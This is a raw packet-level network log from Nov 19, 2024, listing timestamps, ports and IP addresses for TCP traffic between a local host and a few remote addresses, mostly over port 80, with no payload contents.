Nov 19, 2024 20:05:50.560141087 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560159922 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560173035 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560252905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.560252905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.560252905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.560252905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.560254097 CET	443	52534	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.560280085 CET	443	52534	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.560360909 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560378075 CET	52534	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:50.560393095 CET	443	52534	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.560465097 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.560482979 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560496092 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560506105 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560527086 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560556889 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560575962 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560611010 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560623884 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560641050 CET	443	52534	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.560645103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.560645103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.560645103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.560645103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.560645103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.560646057 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.560659885 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560688019 CET	52534	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:50.560697079 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560709953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560724974 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560750961 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560775042 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560786009 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560801029 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.560801029 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.560801029 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.560801029 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.560801029 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.560853004 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560867071 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560875893 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.560875893 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.560899973 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560910940 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.560924053 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561121941 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.561121941 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.561121941 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.561121941 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.561388969 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561399937 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561420918 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561443090 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561463118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561484098 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561484098 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.561484098 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.561484098 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.561484098 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.561528921 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561557055 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561585903 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561606884 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561625004 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561636925 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561681032 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561686039 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.561686039 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.561686993 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.561686993 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.561686993 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.561698914 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561712027 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561726093 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561739922 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561755896 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561769962 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561781883 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561795950 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561809063 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561825991 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.561826944 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.561826944 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.561826944 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.561826944 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.561826944 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.561826944 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.561939955 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.561939955 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.562324047 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.562345028 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.562357903 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.562371969 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.562434912 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.562434912 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.562434912 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.563436985 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.564063072 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.564426899 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.564439058 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.564450979 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.564464092 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.564476013 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.564487934 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.564500093 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.564512968 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.564543962 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.564554930 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.564568996 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.564577103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.564577103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.564577103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.564577103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.564577103 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.564583063 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.564596891 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.564659119 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.564659119 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.564659119 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.565237999 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565251112 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565269947 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565284014 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565295935 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565309048 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565320969 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565335989 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565346003 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.565346956 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.565346956 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.565351009 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565367937 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565381050 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565393925 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565407038 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565419912 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565431118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565443993 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565457106 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565459013 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.565459013 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.565459013 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.565459013 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.565459013 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.565470934 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565489054 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565501928 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565515041 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565526962 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565538883 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.565562963 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.565563917 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.565563917 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.565563917 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.565563917 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.565660954 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.566070080 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566083908 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566097021 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566108942 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566122055 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566137075 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566148996 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566162109 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566345930 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.566346884 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.566346884 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.566346884 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.566346884 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.566391945 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566406012 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566416979 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566416979 CET	52534	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:50.566430092 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566437960 CET	443	52534	13.107.246.40	192.168.2.7
Nov 19, 2024 20:05:50.566442966 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566453934 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566469908 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.566471100 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566469908 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.566472054 CET	52534	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:50.566485882 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566497087 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566509008 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566512108 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.566514015 CET	52534	443	192.168.2.7	13.107.246.40
Nov 19, 2024 20:05:50.566521883 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566543102 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566556931 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566570997 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.566620111 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.566620111 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.566620111 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.566620111 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.567476988 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.567490101 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.567502975 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.567514896 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.567528009 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.567542076 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.567562103 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.567580938 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.567591906 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.567605972 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.567617893 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.567624092 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.567624092 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.567624092 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.567631960 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.567647934 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.567648888 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.567662001 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.567675114 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.567684889 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.567698002 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.567701101 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.567701101 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.567701101 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.567712069 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.567728043 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.567740917 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568131924 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568149090 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568152905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568152905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568152905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568152905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568161011 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568175077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568186045 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568197966 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568212032 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568223000 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568234921 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568269014 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568280935 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568285942 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568286896 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568286896 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568286896 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568286896 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568286896 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568291903 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568305016 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568315983 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568326950 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568347931 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568357944 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568370104 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568382025 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568392992 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568393946 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568393946 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568393946 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568393946 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568393946 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568393946 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568408966 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568420887 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568423986 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568433046 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568444967 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568451881 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568456888 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568461895 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568468094 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568474054 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568485022 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568495989 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568507910 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568519115 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.568646908 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568646908 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568646908 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568646908 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.568646908 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.569186926 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.569200039 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.569211006 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.569225073 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.569245100 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.569257975 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.569272041 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.569278002 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.569283009 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.569294930 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.569317102 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.569317102 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.569317102 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.569317102 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.569513083 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.569523096 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.569600105 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.569824934 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.569927931 CET	443	52542	13.107.246.45	192.168.2.7
Nov 19, 2024 20:05:50.569982052 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.570005894 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570018053 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570029974 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570041895 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570051908 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570065022 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570077896 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570090055 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570101976 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570125103 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570137024 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570147991 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570149899 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.570149899 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.570149899 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.570149899 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.570149899 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.570161104 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570178032 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570189953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570200920 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570214033 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570225954 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570269108 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.570269108 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.570269108 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.570269108 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.570295095 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570307016 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570318937 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570333004 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570344925 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570357084 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570358038 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.570358038 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.570370913 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570383072 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:50.570414066 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.570414066 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.570571899 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:50.570765972 CET	443	52540	13.107.246.45	192.168.2.7
